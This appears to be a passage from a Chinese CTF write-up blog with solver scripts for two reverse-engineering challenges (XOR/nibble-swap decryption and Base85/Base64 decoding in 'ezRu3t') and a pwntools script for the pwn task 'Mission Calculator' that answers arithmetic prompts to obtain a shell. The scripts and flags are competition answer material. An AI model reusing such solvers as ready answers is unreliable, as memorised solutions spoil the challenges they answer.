    # Step 4: 逆en3 - 高低4位交换(自逆)
    print("\n[*] Step 3: 高低4位交换...")
    data = bytes([de3(b) for b in data])
    print(f"[+] 结果: {data.hex()}")
    
    # Step 5: 逆XOR - 异或17(自逆)
    print("\n[*] Step 4: XOR with 17...")
    data = bytes([b ^ 17 for b in data])
    print(f"[+] 结果 (hex): {data.hex()}")
    
    # Step 6: 转换为字符串
    try:
        flag = data.decode('utf-8')
        print(f"\n[+] 解密成功!")
        print(f"[+] Flag: {flag}")
        return flag
    except:
        print(f"\n[!] 无法解码为UTF-8,原始bytes: {data}")
        print(f"[!] 尝试ASCII: {data.decode('ascii', errors='ignore')}")
        return None

def verify(flag):
    """验证flag是否正确"""
    print(f"\n[*] 验证flag: {flag}")
    
    # 加密流程
    data = flag.encode('utf-8')
    print(f"[1] 原始: {data.hex()}")
    
    data = bytes([b ^ 17 for b in data])
    print(f"[2] XOR 17: {data.hex()}")
    
    data = bytes([en3(b) for b in data])
    print(f"[3] en3: {data.hex()}")
    
    data = data[::-1]
    print(f"[4] 反转: {data.hex()}")
    
    data = en33(data, 32)
    print(f"[5] 循环左移32位: {data.hex()}")
    
    # 转换为cipher格式
    cipher_str = data.hex()
    cipher_check = [ord(c) for c in cipher_str]
    
    print(f"\n[*] 期望cipher: {cipher}")
    print(f"[*] 计算cipher: {cipher_check}")
    
    if cipher_check == cipher:
        print("\n[SUCCESS] 验证成功!Flag正确!")
        return True
    else:
        print("\n[FAILED] 验证失败!")
        return False

if __name__ == '__main__':
    print("="*80)
    print("Reverse题目解密脚本")
    print("="*80)
    
    flag = decrypt()
    
    if flag:
        verify(flag)
    
    print("\n[*] 完成!")

image-20251107225803315


ezRu3t

题目描述:
4ak5ra: Samsara怎么这么坏(小声)
QYQS:为什么呢?(中声)
K4per:Samsara怎么这么坏(超大声)
sleep4r: 我得学习一下(思考)
Samsara:何意味

这是一道Rust编写的逆向题,使用了双重编码验证用户输入

关键函数

  • main(): 调用 sub_140002490 进行主要逻辑
  • sub_140002490(): 读取输入并进行编码验证

编码流程

程序对输入进行以下处理:

原始输入 → Base64编码 → Base85编码 → 与目标字符串比较

Base85编码详情

  • 字符集(85个字符):
!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstu
  • 编码规则:每4字节数据编码为5个Base85字符

  • 算法特点:使用魔数进行除法和模运算

    • 85^2 = 7225
    • 85^3 = 614125 (0x95EED)
    • 85^4 = 52200625 (0x31C84B1)

完整解题脚本

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import base64

# 第一步Base85解码得到的结果
base64_encoded = "U1lDe09oamhoaF95MHVfZzN0X0V6enp6ejNfUnUzdCFAfQ=="

print("Base85解码后的Base64字符串:")
print(base64_encoded)
print()

# Base64解码
try:
    decoded = base64.b64decode(base64_encoded)
    print("Base64解码结果(字节):")
    print(decoded)
    print()
    
    print("Base64解码结果(字符串):")
    decoded_str = decoded.decode('utf-8')
    print(decoded_str)
    print()
    
    print("="*60)
    print("最终答案(Flag):")
    print("="*60)
    print(decoded_str)
    
except Exception as e:
    print(f"解码失败: {e}")

image-20251108210557372


Pwn

Mission Calculator

题目描述:
初次见面,特工。恭喜你在前些日子通过了考核,正式成为0Geek小组的一员。
这将是你Geek生涯的起点,作为新晋成员,你的导师Dr.K发布了一个算数任务,想要考察一下菜鸟们的数学能力。
我想这难不倒你,快去签个到吧。别作弊哦!
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *

# 设置上下文
context.log_level = 'info'
context.arch = 'amd64'

# 连接到程序
# 本地运行:
p = process('./calc')

# 如果是远程,使用:
# p = remote('IP', PORT)

try:
    # 接收 banner
    p.recvuntil(b'Press any key to start...\n')
    
    # 按任意键开始
    p.sendline(b'')
    
    # 解 50 道题
    for i in range(50):
        # 接收题目:Problem X: A * B = 
        p.recvuntil(b'Problem ')
        problem_num = p.recvuntil(b': ', drop=True)
        
        # 读取第一个数字
        num1_str = p.recvuntil(b' * ', drop=True)
        num1 = int(num1_str)
        
        # 读取第二个数字
        num2_str = p.recvuntil(b' = ', drop=True)
        num2 = int(num2_str)
        
        # 计算答案
        answer = num1 * num2
        
        log.info(f"题目 {i+1}: {num1} * {num2} = {answer}")
        
        # 发送答案
        p.sendline(str(answer).encode())
        
        # 等待反馈
        response = p.recvline()
        if b'Incorrect' in response:
            log.error(f"答案错误!")
            exit(1)
    
    log.success("所有题目完成!获得 shell...")
    
    # 获得 shell 后交互
    p.interactive()

except Exception as e:
    log.error(f"发生错误: {e}")
    p.close()

image-20251108204417423

Tagged: CTF

评论区